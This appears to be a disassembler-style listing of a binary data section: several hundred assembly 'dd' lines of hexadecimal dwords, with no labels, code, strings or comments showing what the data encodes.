		dd 5C962294h, 66E1764h,	0C937C6ECh, 8126CA1h, 95CAE6Ah
		dd 0ABEEE60Dh, 0B3E0D20Eh, 91649DA6h, 0A1117801h, 8ECA1347h
		dd 0BA7FC040h, 1D0125E9h, 995BD810h, 619FDA00h,	0D1F64CDCh
		dd 2422017Ch, 5272F5D5h, 40382114h, 0F18EF314h,	84423F81h
		dd 11FC19F0h, 59802BC6h, 28EEA01h, 0B202582Eh, 1FBB9974h
		dd 1EC58EFh, 335F9777h,	22D6E69Eh, 180C749Ch, 1121678Eh
		dd 0F7E066h, 460DACCFh,	30C09E1h, 0A5FA8490h, 88367744h
		dd 0D4B1B570h, 0F99E243Dh, 2C49EC17h, 0DAA600BEh, 6098F89Ch
		dd 7B86612Bh, 0E5079D47h, 6942935Ch, 283179E0h,	848A0BCFh
		dd 0F884583Fh, 9EE541C7h, 5850CDE7h, 20108F20h,	0C700EECFh
		dd 0F1680E24h, 0AC54A6h, 51AE20D7h, 847C1661h, 0E6F7B904h
		dd 9081D036h, 0A442D88Ah, 119C19F4h, 0C073A1F0h, 0CA3B2358h
		dd 44E22817h, 0D22513DCh, 0C85AAB04h, 992A6630h, 16797C3h
		dd 0DC746062h, 0D2B44875h, 269437E0h, 15E95338h, 664CADAh
		dd 29678D38h, 0ACF34811h, 685C0B00h, 71C6C2B3h,	522D3600h
		dd 0D1D5A3BEh, 0C442E1C1h, 22FC1B72h, 13A11B8h,	2400DE92h
		dd 10923569h, 7E2E6D12h, 86C668C0h, 0F8364C53h,	11E59040h
		dd 21BAA3F0h, 8E8590E0h, 82029192h, 77696BA2h, 63FDD8C9h
		dd 0B19A009Ch, 0C39BD4BAh, 3F5C0EBFh, 0F44093B4h, 22CC5E14h
		dd 0DE90B57Eh, 80A96302h, 526791D0h, 0A6C81CF0h, 0AD07C0B3h
		dd 6AF295C0h, 1EEF9816h, 40F45448h, 0A0117574h,	37D02154h
		dd 0BA10640h, 96D42FE6h, 9E754C83h, 1A3FFB3h, 421931A9h
		dd 0B510729Ch, 38FD8B3Eh, 9C882DD0h, 16E0726Ah,	0AF5D760h
		dd 64C45670h, 0C831534Ah, 0C9FD3C92h, 1F3338E4h, 409EBD23h
		dd 22F62D75h, 0D090D7E6h, 7080F77Fh, 190B9A2h, 36969FA1h
		dd 0A8636Dh, 0ED6E7E2Fh, 38DAC3h, 50D6FE64h, 3F9106B5h
		dd 33365214h, 90EC21DCh, 62959E9Fh, 0A6CF8050h,	0E991A6Ah
		dd 408822F1h, 12FD127h,	0F42128C4h, 0F8A49CF0h,	41659640h
		dd 0F842368h, 40561F1Bh, 51BB5C72h, 0CC0388Eh, 154651Dh
		dd 4924A0D5h, 2E183C60h, 0C000A89Dh, 3AD45328h,	4970603Ch
		dd 0F2FDFF42h, 6723A401h, 0ED5B4EA3h, 722E62E4h, 13A7FABCh
		dd 0C72CD6Fh, 1339FAC8h, 302FF42Ch, 0D4403664h,	0D16BA01Fh
		dd 1585153h, 54C5BCF4h,	0AD70AD2Ah, 71C207F3h, 0B0E5B6E2h
		dd 9DA1EA92h, 7E7CAF50h, 6C24A4F6h, 88104497h, 2485FCC8h
		dd 3C042BBFh, 0A481C5C6h, 0F041D8B2h, 820083DFh, 0C4916A36h
		dd 712D6C00h, 1DF2B885h, 406138D2h, 0E76BE53h, 0F1015B56h
		dd 0F89179FFh, 3EF036FAh, 14100DA0h, 638C2630h,	0BDE30058h
		dd 0E8F05A5Eh, 4CA14814h, 23971221h, 5B745830h,	689166h
		dd 0C233ABAAh, 4128FD62h, 3D23981Eh, 4FBB805Dh,	9C754D98h
		dd 0F6DC8200h, 7C857B54h, 0B99401E6h, 90F0F7CEh, 461F1078h
		dd 3BA101D0h, 20D5EEB6h, 0F38337Fh, 0E03E376Bh,	0F6CDFFCAh
		dd 0B8711292h, 625458ECh, 6A29F01Fh, 0FE91B47Ch, 8B43F2Eh
		dd 6A422C5Fh, 209C13FFh, 0AF4BE7h, 5DBE7EA6h, 9119BBB6h
		dd 0C8331F28h, 9A146B20h, 705B3DFCh, 22D51684h,	0D004C905h
		dd 0CA62293Ah, 1038C370h, 0D4888E6Dh, 2C0C2571h, 0A6FA7402h
		dd 1107B891h, 8C674670h, 18862A10h, 38F1DCCEh, 4A50E8B6h
		dd 10BC96h, 0A48DE689h,	0B7796Fh, 853511E8h, 0B2A94BD9h
		dd 0B5F08B18h, 241E3481h, 4E2879F7h, 0A2D1A885h, 3CBE0728h
		dd 37801C90h, 1DE2C3D5h, 9203B848h, 0AF34885Ah,	4EF03640h
		dd 66A44BA8h, 0D5CD5C68h, 0F5FAC900h, 0A5E46197h, 0CBB70DC8h
		dd 8CC8DDCEh, 0F1395139h, 70EE4AA4h, 0FFB5935Ch, 3290D300h
		dd 0EA7898D0h, 59709806h, 681034B1h, 0A78888A9h, 4A547490h
		dd 43F65E00h, 0B5A94E51h, 2DA070Ch, 440FE742h, 90E0859Fh
		dd 0AEAF3338h, 94A8DC91h, 29986958h, 2F90D086h,	12D73AB0h
		dd 1326A00Bh, 4D7CC8F1h, 4AEF1276h, 0A71C0FE6h,	0EA960BD0h
		dd 20206404h, 7C45D2A1h, 0CFB04Ch, 8BEE8680h, 4671BC99h
		dd 1270DD50h, 69288h, 0A8CCAB9Bh, 0D3F32446h, 0A58B2C09h
		dd 0C08402F8h, 12E011EEh, 3B00F2CEh, 14802FADh,	324F9C2Eh
		dd 0C800CD54h, 587DD1AEh, 0B0B52CA9h, 1B9B208Ch, 69AAF016h
		dd 2173088h, 9E31C013h,	7CC6C8E4h, 4C8C282Eh, 43AFB560h
		dd 0E25705F9h, 808B0331h, 117A58Ah, 0DCE09004h,	84828207h
		dd 10151992h, 0C0F1CF1Fh
		dd 0A63EFCB1h, 54074512h, 463B9CB2h, 2B482330h,	5AA0E8FDh
		dd 3E70403Dh, 698A98E2h, 0F0B271F4h, 6EC36B10h,	0CDD6CA01h
		dd 3DFB1245h, 6C205AF0h, 7205E1h, 0AD497E70h, 6465D98Dh
		dd 766B4300h, 0B519BC1Eh, 39386CBEh, 1016D410h,	0B8306624h
		dd 12B059FFh, 0C237EBC2h, 40C69778h, 0A60D144h,	1833BAFCh
		dd 40C42EB0h, 0DF1C5998h, 0AA4B3602h, 4081B19Bh, 12266318h
		dd 86CA2C4h, 7964DE4Ch,	9892A122h, 43FDE898h, 85D0AA00h
		dd 0D52ADA24h, 4CCC489Eh, 18807310h, 69D12E66h,	9EF403A9h
		dd 0CB89D6E2h, 91C0D5D4h, 68B971B4h, 0AC0893ACh, 4FDC641Bh
		dd 554920D4h, 39473584h, 0CE183A1Eh, 0DCA299F0h, 0FC97C30Fh
		dd 0A5FB409Dh, 1FCC5D9Fh, 0FAA03F6Bh, 0DC8CB92Dh, 573CB648h
		dd 28460124h, 52DD8C1Dh, 99712EF0h, 355A82B8h, 8546724h
		dd 39F31386h, 9EE726D1h, 2EEA583Ch, 8280589Bh, 0DCA387EBh
		dd 0D4450905h, 0EC014ADBh, 2965C746h, 91C0216Ch, 0D03926E2h
		dd 6DF3E08h, 8919C633h,	1D78F01h, 7223C291h, 2A325851h
		dd 345017DFh, 92B82CA9h, 8C207845h, 24A189ECh, 0CF442B64h
		dd 1D140FAEh, 6580BB5Eh, 25F9139Eh, 0D427094h, 279CF267h
		dd 35740F28h, 0DE4B530Eh, 0D5F2E200h, 0D4F870h,	42B69A02h
		dd 0DB9EDE10h, 0A204237Ah, 0C6C4E9D9h, 0F4593CF4h, 8F6B0ACEh
		dd 800CE719h, 0DCC232EAh, 3149A9BCh, 6E0B1078h,	3D92F088h
		dd 2C479C90h, 0DD072E9Ch, 6495081Ch, 1223C032h,	4F708404h
		dd 2782E11h, 0C604E81Eh, 0D2A0125Ch, 6A441E36h,	6DC24438h
		dd 1724B090h, 0FF40FCF9h, 122EB360h, 129E76C5h,	145C3570h
		dd 7809E470h, 0A0821E67h, 9611EFA0h, 35F40815h,	2B8361B1h
		dd 0A3AE020h, 2C46D9AAh, 13AB1E10h, 81DC20CEh, 3800D397h
		dd 0CF654783h, 8D5F7Bh,	521D71D7h, 0C2898A14h, 100C0448h
		dd 4884A8B0h, 0CDC01837h, 0B4EF09E1h, 6C22E59Ch, 9910D826h
		dd 82A4B920h, 0C94BC32Eh, 3AF28843h, 9DE67120h,	9EEC2C26h
		dd 0D7FA0980h, 682BC4E9h, 64629C74h, 457C5833h,	8A5B870h
		dd 0D048ABF1h, 0EDC325F4h, 0A4F9D032h, 0A7E85607h, 7DEE1060h
		dd 0F8B54CECh, 9CA52A10h, 426090E2h, 1822D7h, 56901D4Dh
		dd 0CA74C5A4h, 8B989300h, 4E65E348h, 1D8A3A7Ch,	67D46406h
		dd 0FE00B936h, 0EFE60A60h, 0E13E0BEh, 0D8BC6372h, 0C0124C81h
		dd 6805151h, 3CB104D6h,	0B4480063h, 0E4FD1312h,	0E663CE08h
		dd 901ADA99h, 12B5E4A0h, 864C22Ah, 0B16F6F78h, 49F46D1Eh
		dd 0C8E81BDEh, 51C5F9F2h, 0E4887324h, 24C90D4h,	0D286E94Eh
		dd 0A5825EBEh, 4458FD9Fh, 12686D20h, 88722269h,	2A093388h
		dd 0E59CF0CAh, 165E0028h, 0E6DC3391h, 77852600h, 2D500A72h
		dd 816F0912h, 9C044445h, 20F43263h, 4DBEC8D4h, 0DD4C7B7Fh
		dd 64372E3Ch, 0C82AB88h, 20692466h, 0F9553807h,	0E670F7DEh
		dd 174F7D39h, 3103DF95h, 2CE7B974h, 0CF6C0D8h, 1B03590h
		dd 0BC603FC4h, 0FC67E05Ah, 0A8A10348h, 604C5D77h, 3F89C6B0h
		dd 2E479088h, 0C4BB7009h, 67A20080h, 0F0EC468Ah, 249656C9h
		dd 6A67C024h, 18780459h, 0E4C3D4Ah, 84E0902Ch, 0E7CD2C9h
		dd 1B781001h, 0C8C368BDh, 0EB195F02h, 0F4966012h, 0E7FE44h
		dd 629676BEh, 2BC5CD79h, 0A2203C92h, 0BE2424DDh, 9C3E70BCh
		dd 51E9249Ch, 683E9DE8h, 0F6A3011Ch, 4B620573h,	0A4203056h
		dd 72534586h, 0EDF7001Ch, 5FDE3210h, 2FCC1CB7h,	8D9FC0C8h
		dd 1503B852h, 32A9825h,	0A4B3BAF4h, 526AB544h, 0ADD60408h
		dd 0C9630490h, 61578D00h, 5DE1E624h, 89B60B20h,	0A9018F50h
		dd 2C7262F9h, 942720A4h, 2D63C174h, 2C702371h, 7408EC5Bh
		dd 0D49610h, 26BAD1C8h,	7716BE4Dh, 38486CDFh, 26F16E53h
		dd 0C308D069h, 60282417h, 4028E516h, 0E06B3300h, 664FE8ECh
		dd 1EC472A1h, 82966965h, 0C8E4F0F7h, 280280E6h,	67CA108Ch
		dd 5410C869h, 8A5884EEh, 7E93C45Ch, 44E61F45h, 2ED1EF8h
		dd 569DF03Fh, 32A04454h, 948C588h, 3C90B571h, 2CA49EF0h
		dd 0C94F481h, 0A414ABB5h, 0A88D8B4Bh, 78202170h, 91378098h
		dd 1E3B3031h, 0B045DCAh, 8800DE4Bh, 4610447Bh, 0F32EF8E3h
		dd 0FC12C974h, 9C80D491h, 603D89D1h, 6E684963h,	0EC05B78Dh
		dd 2EAC3C18h, 0D3EA5E80h, 0CF85026Fh, 1E1204CCh, 323C98A4h
		dd 0E03E2427h, 0F10270h, 0FAA29B33h, 0E4CA0F18h, 9BC6DFFh
		dd 0ACC00475h, 301C41E7h, 631B36B4h, 9732C459h,	946429h
		dd 6021414Ch, 3BE70E2Fh, 5F3F5200h, 0F07EC6DDh,	63651354h
		dd 0D9B404FBh, 7F2C185Bh, 82CF5C81h, 5A0F3800h,	0E1FDCD06h
		dd 5048E48h, 446AF283h,	85483C48h, 0F210BF24h, 0F82D22D4h
		dd 2491DF6Ch, 87D20808h, 0CD6B083Eh, 0A4AC2170h, 32003BACh
		dd 9EAD2D13h, 3E7AB2A7h, 83E20900h, 0B07978C9h,	544F07BAh
		dd 404E6F8Eh, 0D9A1ABACh, 0B281C891h, 0E608D762h, 1CA256C0h
		dd 3EDDF901h, 36E8F300h, 9EF6DE1Eh, 8494AC98h, 49C40651h
		dd 50EA03h, 0EB309B52h,	0CEB3BBB9h, 3A25E0B0h, 5D8B6A4h
		dd 0C660551Bh, 6F73C0A0h, 5002E141h, 0E278437Ah, 2050D6E8h
		dd 0A7A8B180h, 4EC92482h, 0C88CF80Ah, 88F45863h, 0AA60CABDh
		dd 83903828h, 8F6713A8h, 16BCB4C0h, 5CEEDB00h, 1A8901B2h
		dd 2CD54BA3h, 248D6B18h, 0C83F1028h, 256C90F6h,	0B44C687Fh
		dd 0DC7CA96Dh, 6068A711h, 7C00FB43h, 0F2E7F990h, 1F0562Eh
		dd 55379F9Bh, 38D02D86h, 4671B09Ch, 2049D7F5h, 807B27B0h
		dd 47A70B12h, 28A5780Fh, 33E49329h, 40A4B43Ch, 0A9034F96h
		dd 824B690h, 1F1323EFh,	0B469548Ch, 0E630004h, 0B0284333h
		dd 882D4Ch, 7D8A51B9h, 0F19471h, 0FA3D9F75h, 31C7ED35h
		dd 259118B4h, 0A1B03A00h, 0F3D4D11h, 2E387800h,	0F745CCFAh
		dd 0D247241Dh, 0A5C20818h, 50D86A44h, 604540C5h, 0CE6570B9h
		dd 0B218EC23h, 24F4D943h, 0A9480880h, 374542h, 8267B5A1h
		dd 429A3B00h, 0D655487Eh, 6C9E5C2Fh, 0F413AD04h, 357CBC37h
		dd 8A04130h, 0F212E914h, 2A182113h, 4B22FB1Dh, 856C9CB8h
		dd 2C5A9C9h, 0D3DC92F0h, 84830ED8h, 0AB46412Ch,	0E85EED00h
		dd 66688B51h, 53BF0029h, 4EA9FFFh, 9BF0273Ch, 0AC85B505h
		dd 948032EEh, 3E26E335h, 9D008C13h, 0C4284B9h, 8F7A208Eh
		dd 0EDEA4898h, 21DB4284h, 0C8FA9075h, 0CBB74172h, 4AE43887h
		dd 4E6B240Bh, 822A00E8h, 57FAC920h, 6220E57Eh, 2B02460Fh
		dd 0A108EC27h, 453D0C68h, 0EF008819h, 441F7C05h, 17D4B521h
		dd 31ADAE81h, 0EC966474h, 87025AF0h, 263DFFCAh,	54ECD8CEh
		dd 88E17034h, 832F0EE7h, 0CBE42098h, 0AF37A04h,	0E8131680h
		dd 91D045D8h, 2DD9C6C4h, 13252178h, 8010E2E8h, 3327E93Bh
		dd 28A25B05h, 704C24F0h, 50F4C820h, 69846F3Bh, 0F8C0290Bh
		dd 209AC2FFh, 827CB750h, 6C75EA4Eh, 500984A2h, 0FD80E1CEh
		dd 300861F3h, 80F79324h, 0ACCD7810h, 5C202FB9h,	4CE458h
		dd 0EAF8136Eh, 1056FD81h, 481DBF03h, 0A4D8930Bh, 68D5A4C2h
		dd 94C613B8h, 0E7CE8DECh, 0ABE88051h, 0BA1D69D0h, 4AE3FAF9h
		dd 2C04DD2Fh, 4C60C18Ch, 5068F2BAh, 40A43B88h, 70CC6C04h
		dd 0A0903C09h, 0E77960B2h, 977EAA07h, 0DCC039F0h, 0F72D281h
		dd 0CC4943BEh, 0D6C01382h, 0F08AE4A2h, 0A37C0109h, 0E06CD8B7h
		dd 46D7D4A0h, 0E7CD6815h, 0D9870068h, 508C1C3Ah, 6E09177Bh
		dd 24244460h, 2B8822EDh
		dd 6DBFFC61h, 2EC00E0h,	0B9016065h, 17BB75B4h, 14DBC4Fh
		dd 0C84AC398h, 78AAD4FCh, 0FE1CD20Eh, 0F84B02C2h, 0E76868C7h
		dd 0C3A00BEh, 0F0C83896h, 4BE2559h, 3AC9DA10h, 6D889C51h
		dd 0FFD4005Dh, 7D03FE50h, 2BE4801h, 8D8BE61Ah, 5275AC42h
		dd 0C8939DF0h, 70CB21B9h, 9A13D510h, 0F8120D95h, 48A9CC88h
		dd 6922DCD1h, 0F021705Ah, 0DC223C3Ah, 85D0C200h, 9B550AA0h
		dd 0B6B48304h, 7CC263F5h, 13A123F9h, 6830CC9Ch,	30949Fh
		dd 97C27E63h, 115C9A60h, 8E1D3E01h, 0D2DB67D5h,	0D0C09896h
		dd 0C2DCA914h, 0ABB95B00h, 0BB599AD1h, 28C3F6F3h, 11D871D2h
		dd 22292505h, 74E70018h, 72331E0Eh, 1C2C7D99h, 78847CD6h
		dd 0F4886665h, 9DF400C6h, 32C2C958h, 17F2E646h,	6C8C9A51h
		dd 4AB08FCh, 602A916Dh,	47707749h, 47B891D9h, 9205F0B8h
		dd 0A0003785h, 36C39FD8h, 0F8F6A3Ch, 0A90B2DB7h, 9C85C569h
		dd 0C630D3E7h, 4B5A6022h, 0F4A4D066h, 0F1008E41h, 0EE44B12Ch
		dd 463DF29h, 1E49BAFAh,	0C0DCBC36h, 860D2FFBh, 58AE3EE4h
		dd 0C89CA318h, 8F09CDD4h, 635A5C8Dh, 22B68218h,	0C429DFBBh
		dd 0F1EE02D4h, 21E6ED8Ch, 87CC36E3h, 22A4144Ch,	38092961h
		dd 3C10DC44h, 1F02C3F1h, 0FDCF044Dh, 0F501DCC6h, 0E7A8D2FFh
		dd 0E0E2085Ah, 0B0187Ch, 0DF1A6CE0h, 0E871547Eh, 50DC0400h
		dd 0B735F4B9h, 673800D2h, 0BAC1CC5Ah, 2CBEAE39h, 0CE002F11h
		dd 2AA66689h, 19039516h, 8AB63A68h, 0B4A81138h,	0DCAF1439h
		dd 212274h, 3117756Ch, 3557A496h, 5192BD16h, 2AFC8810h
		dd 4B44784Ah, 44E4B41Fh, 5FB680EFh, 7400CCEEh, 0A54BC612h
		dd 1D4DB65h, 0F9593D61h, 0E036E888h, 2A16BAFBh,	0E08028ABh
		dd 0B0AF76FDh, 1ACF706Ch, 40E62C22h, 0D816D818h, 94AE405h
		dd 0EC91D597h, 8408EFBCh, 40CC748Ah, 4CC89349h,	948E513h
		dd 692E180Fh, 7BBC30DFh, 57130073h, 62F906AFh, 0BF0458FFh
		dd 0D40F6660h, 0DC733604h, 84A652E0h, 99006C45h, 0CFF8E36Bh
		dd 0C8D31360h, 3D12C5C8h, 440C0FDh, 0BDB44BCAh,	0D5F801BBh
		dd 0DB29AE59h, 2243828h, 6C5DA0CDh, 1B44E11Eh, 0C8FDE217h
		dd 22285479h, 0BC3F0F39h, 54F600EBh, 0C29D89Ch,	3E60330h
		dd 0A53216EAh, 96EBD6B0h, 460B8501h, 83652DD4h,	0A11DECh
		dd 0B832BED3h, 3ADD5540h, 0CCC84601h, 0EAE2887Eh, 0BEC3070h
		dd 0A1236434h, 6D000444h, 0C9FB002h, 0CED26Ch, 0DD17F2E5h
		dd 78B21230h, 0F4E60909h, 0A8840B3Ah, 3082F0D8h, 48873D9Eh
		dd 30419788h, 6620294Dh, 0E5095328h, 1460B5F0h,	5A9200F8h
		dd 0DF30B88Ch, 1AE63998h, 7C88205Bh, 0E0AE0942h, 8F0061A3h
		dd 0FAFEFF4h, 9002390h,	4EBBBF2Ah, 16A08B74h, 0A56B917Bh
		dd 0CE300184h, 6AA99FEAh, 7D0FF680h, 5ACAC39Dh,	0B4E4D08Fh
		dd 4B0549AFh, 9E0DC0AEh, 80478C81h, 0E7BA8C40h,	4424B535h
		dd 0CF1F4376h, 0E5900EFh, 4DA067Dh, 2020555h, 0F93EEEB8h
		dd 89405F6Ch, 2100C04Ch, 163C5E6h, 3BACB1C6h, 2C003827h
		dd 288DFB26h, 0BE3CD437h, 7019626Bh, 0C07444A4h, 0C51EBAA0h
		dd 0C406FFD5h, 0DFCBB852h, 45900330h, 0CC7FECD1h, 88233C2h
		dd 148B7CFFh, 750318D1h, 0B4974Ah, 0DA090696h, 0D7CE7025h
		dd 8EEE1E0Fh, 0A43B8080h, 0A1C8FF8Fh, 252BA10Ch, 0EC6A0030h
		dd 26AF3EADh, 9EFA4CB8h, 0C3FE6C16h, 366C0B4h, 8F0554F8h
		dd 809CF41Ch, 0BF6F4D44h, 0C87FFC01h, 0CEC4D4A3h, 20C69C65h
		dd 0FB5F034Dh, 2F9EE602h, 50E2D2CAh, 9C38D358h,	0F1E5A14h
		dd 0DA409269h, 0A6E7516Fh, 9CD6006Eh, 47D1CD28h, 1402EB2Fh
		dd 0AAF0304Ch, 492C5449h, 0CE0FE030h, 40DCF482h, 1571CB8Bh
		dd 0ABF0D509h, 704D17Dh, 412CE077h, 305356BEh, 0CB189FE8h
		dd 3FA892F2h, 0CF991228h, 807CF18Dh, 3D461FA9h,	0B863B47h
		dd 0D8A59F8Ch, 0D3801C79h, 8F6E63F4h, 9AF80192h, 697BAEEAh
		dd 3E0C384Dh, 0C92101FAh, 3C392D76h, 9D871C44h,	0FEE3C200h
		dd 5BD92DCCh, 0CE8C461h, 787458F4h, 4BE8C22h, 0C7B4C00Eh
		dd 84BBA012h, 80F7D440h, 92143600h, 9B9EB188h, 0A206FCEEh
		dd 645FCB0Eh, 90170B90h, 0C4182E99h, 0AA7DD444h, 21D22C00h
		dd 0B87067C0h, 0BB8BA59h, 0E6C786A1h, 0F0B0D046h, 0C6A0748Bh
		dd 3EE50E0Ah, 55AC4403h, 83CBB0C1h, 51720BD8h, 68A093E0h
		dd 0AF9F2EA0h, 0AB4A9B5h, 3D43FCFCh, 6861007Bh,	0CBF1426h
		dd 9F00548Ch, 6E87FF6Dh, 6A3BBAC6h, 9446901h, 8868C9FBh
		dd 4E0EE056h, 49DBCA8h,	1BC00905h, 2763D755h, 8C58BFD1h
		dd 10D59E13h, 72F7CC8h,	1A1C5083h, 2C87C075h, 20001745h
		dd 11C12AFBh, 72A332B3h, 0ABB40E35h, 4A859E8Dh,	0CD3082CFh
		dd 2C911F24h, 803C6839h, 305DF380h, 913F346Dh, 0CBB604D8h
		dd 3CE29216h, 146EED2Fh, 0BEFF280Eh, 92120045h,	7A27B7A2h
		dd 0D85F0061h, 0B087FC57h, 7C98A528h, 0B798B50Eh, 0F708A0C3h
		dd 1FD5A3h, 0C73D7CE8h,	54C0745Fh, 282A461Ah, 8F980591h
		dd 8BFCCCh, 0E3A82D17h,	4DBDE4C0h, 750F7E0Eh, 0B5013FECh
		dd 7E60E3Bh, 0CA74303Fh, 0C7748839h, 9A9D9B00h,	2B82CEA0h
		dd 1C92023Fh, 0F0B9AB59h, 0ED5D0941h, 0FDEAF126h, 19E9F07Eh
		dd 195473Eh, 98E883BBh,	805074A3h, 4A03EC6h, 0F0D0B8FDh
		dd 2348C90h, 39E0D0B0h,	804FE0B9h, 0C415EBA1h, 0CE722DCDh
		dd 4E0A38E8h, 5BB74500h, 788E39CFh, 0A2EEA3h, 0D9A46358h
		dd 28670274h, 5FF688h, 0D51237DFh, 815B4AAEh, 890B327Eh
		dd 583E519Ah, 0E6292494h, 0EB886098h, 0C000CC11h, 5173A420h
		dd 26D737A7h, 24D7972Ah, 1B1E6074h, 9507A624h, 77F08D2Dh
		dd 0C9BA2FEh, 0FAE64098h, 6DF0B4Ch, 6C51077Ch, 0E0A46692h
		dd 84FAFEh, 0CB6EA5B0h,	0BE01E5A6h, 5E388702h, 0F9F067B3h
		dd 115300D8h, 0D7DEC249h, 1C738A00h, 996CE65Eh,	6C8B4C83h
		dd 6824720Bh, 9E669898h, 77F420BFh, 2556782Bh, 78C83F4Ch
		dd 61007BDDh, 2F46CD48h, 2D79E528h, 0A4E082FAh,	114C6D5Fh
		dd 0B0884F00h, 827A00ACh, 0F9CF6726h, 541EA7C6h, 2D023CFCh
		dd 48128CB2h, 280122FCh, 1274F213h, 0A5B9C6CAh,	367020E4h
		dd 6EADB700h, 7E2FDA9Eh, 526688EDh, 0CF13C6FCh,	0FC916782h
		dd 6F319473h, 1E99F60h,	0A0DFF6CDh, 979ECE14h, 5CE2A1F1h
		dd 569DC21Ch, 3C4400B4h, 0B7A90773h, 7D1E6E7Bh,	674571A1h
		dd 0F4C16935h, 4C40CD75h, 160C77FFh, 0E2136386h, 706E006Ch
		dd 24897DADh, 749B1D3Eh, 0D5B3444Dh, 60B8CDFBh,	3619A420h
		dd 1339206Ch, 0C18A3CE9h, 40CC6D24h, 3A0AFC69h,	13097499h
		dd 0D0D9FFh, 46F93204h,	6816923Ch, 4068228h, 51499329h
		dd 0FC334C72h, 424CB900h, 5576CC38h, 0A0FB9E2Eh, 4C8904Bh
		dd 0A4B05C8h, 9920EA5Ch, 73686C64h, 0B9AA1300h,	0E91FEA1Ch
		dd 6D310077h, 9EB5DFB3h, 70F097F9h, 2B02067Eh, 0DBA061FEh
		dd 0B57AE0A4h, 42390386h, 2C460F7Fh, 0D0C6FEC0h, 0F3444395h
		dd 1E06C045h, 57802635h, 0D792006Ch, 24256228h,	6422665Bh
		dd 49E610F2h, 10D29E75h, 380418A8h, 0CCDE54C3h,	16009F70h
		dd 42124043h, 61EB90h, 0ECD71773h, 96CCD866h, 79F70301h
		dd 9CDA01C1h, 7D18C3CCh, 4F5B1D58h, 8201F8DFh, 847FC98Bh
		dd 902EF8F2h, 35284000h, 7E2CC751h, 0FD99136Dh,	4D5D00BAh
		dd 13F90130h, 9DECF053h, 0B79D844Eh, 0E00FE822h, 17552E6h
		dd 3D634C86h, 0D6C035B0h
		dd 0D0406C76h, 269D92C9h, 178E04Eh, 72CC60A7h, 1FA42033h
		dd 9F001BF4h, 9DAED88Ah, 0F026A097h, 0D048957Ch, 1497BE24h
		dd 762B0018h, 0ACD53BF0h, 0F4025CCCh, 0C23913A7h, 0F3734160h
		dd 0C51E8C73h, 0F136129Dh, 0B423B8h, 437916Ah, 0F23B7521h
		dd 0AD280578h, 529FAE24h, 34C0020h, 3740397Dh, 14F1E09h
		dd 20E42008h, 0B98CA53h, 29B8899Dh, 91B75410h, 20C95E90h
		dd 0CE4061D3h, 6E02582Dh, 1787E0B3h, 0CCD3C0DDh, 0A0063973h
		dd 998EA18Bh, 0B40B34A1h, 0F8223Ch, 0E29FF151h,	0EA02CC4h
		dd 0A261BB43h, 58778420h, 0AA3C025Ah, 810B8410h, 0F8C00A37h
		dd 9F6665C0h, 8E9C08A0h, 8500D309h, 0D298E293h,	7EDB55Eh
		dd 9F2B01D6h, 0FC1471C0h, 6E99DBBAh, 80503C2Dh,	0F77CA4F3h
		dd 52B10013h, 0AE2ED46Dh, 0BE35B5CCh, 0B010613Dh, 64AB8480h
		dd 74840EAEh, 0B1E63987h, 7E77BE58h, 0C0FEC842h, 826825EDh
		dd 0A8A9D3F4h, 4B203070h, 0C01F5B82h, 0A6931814h, 0EAAE30C1h
		dd 483D6608h, 0D8896001h, 30919ABEh, 720A4AE6h,	0A49895A1h
		dd 2EC68B05h, 7F7B84E2h, 1523013Eh, 7B43600Fh, 0F450302Ch
		dd 3095008Eh, 0D020E79Eh, 2C5F0E66h, 0E8B84C8h,	0D1DCAE26h
		dd 0D273DE00h, 33146E15h, 5F7030BEh, 101048C7h,	0F55774Dh
		dd 8CB1E70Ah, 5DE04517h, 0F0B423A2h, 0F8D677CAh, 36674461h
		dd 0B3FB110h, 226ABD00h, 0EF8170CCh, 0DF482641h, 0B81F0181h
		dd 7C71DD03h, 37438488h, 0D7C0D818h, 7EAF4B12h,	41EA88E4h
		dd 0A8613AE8h, 0A121BA5Ch, 2EA8003Ah, 8C6B36BEh, 468068B1h
		dd 470AD038h, 42BE11Eh,	55FF918h, 20567469h, 5828063h
		dd 2A997928h, 562CCCEBh, 0EE3C3A00h, 5323CCAAh,	33183C9Fh
		dd 0B94AF03h, 84806E51h, 445F6652h, 95B0001Bh, 0DD006CB7h
		dd 30700581h, 0D23AAC4Dh, 0BF5305C3h, 0C440E24Eh, 71D48D23h
		dd 8FC49CA2h, 0DFA5AE4Bh, 3EF4E4C9h, 0F1853901h, 30DC2C3Ah
		dd 9F7359E8h, 0E6378418h, 64E5982Ch, 27D58D00h,	0F083F668h
		dd 0FD9E05C4h, 8466F0A5h, 9F58E88Dh, 0FC0BA340h, 0F738F05h
		dd 0F59BD5A2h, 0A89A3E65h, 157A80D4h, 3687CCFh,	61EC48C8h
		dd 60BFBAC2h, 406739B3h, 2095FF2Eh, 21CF3200h, 64384Eh
		dd 3DC7463Eh, 3A4339DFh, 1FB8AE00h, 0BB4730E8h,	219E0474h
		dd 0A88075BEh, 6F460B24h, 5E1C4696h, 77DC62CAh,	81368303h
		dd 6BF81E62h, 60B89789h, 4F3E985Bh, 8ED080BDh, 7E431360h
		dd 0CAF22635h, 8094A998h, 20903D9Ah, 5501E587h,	1D5477DDh
		dd 58236A7Ch, 3C0CA4Bh,	83F747CAh, 0F841E541h, 0FBF1BF39h
		dd 0FFE858h, 428EC85Ch,	0A8AD4B36h, 0BE9E5A0Bh,	492C0170h
		dd 1F3AC7F6h, 0FC51A574h, 302646C4h, 0BE956620h, 0FA2340BCh
		dd 0D358D54Eh, 0A13B0BC9h, 1A240796h, 0AC3F1288h, 0C682DF18h
		dd 593608FDh, 70C6AD58h, 467242Eh, 0E427FF64h, 0D490887Ah
		dd 0BC99C576h, 0D27CE180h, 172E17D7h, 4246BD1h,	56CF6CE8h
		dd 922AC008h, 8400F4CEh, 9B420200h, 834C0560h, 53FA0B4Bh
		dd 5D00F5F2h, 1FA9C1A6h, 0AF908F54h, 0E747489Eh, 0C6EA6732h
		dd 0E2984164h, 0DC082024h, 0C5630780h, 3342A9h,	4684C41Ch
		dd 9E7B9389h, 5A35A006h, 76E05C73h, 80249331h, 816AAFA1h
		dd 0A0F69EBFh, 4C05977Ah, 475F390h, 0DCC110C4h,	4431AF63h
		dd 2FD4236Fh, 0B69E4B90h, 38C9D85Bh, 3C5E5DC0h,	138396B1h
		dd 0B7211DDCh, 0C67AC0F0h, 0FA357904h, 2402F0EEh, 1291C75h
		dd 6887E6Ch, 0CB18423Bh, 644ED99Ah, 9903FF00h, 83AEA92h
		dd 9E60567h, 0ECBF2404h, 0AFC820Ch, 0D19CCA9Eh,	4C2400A4h
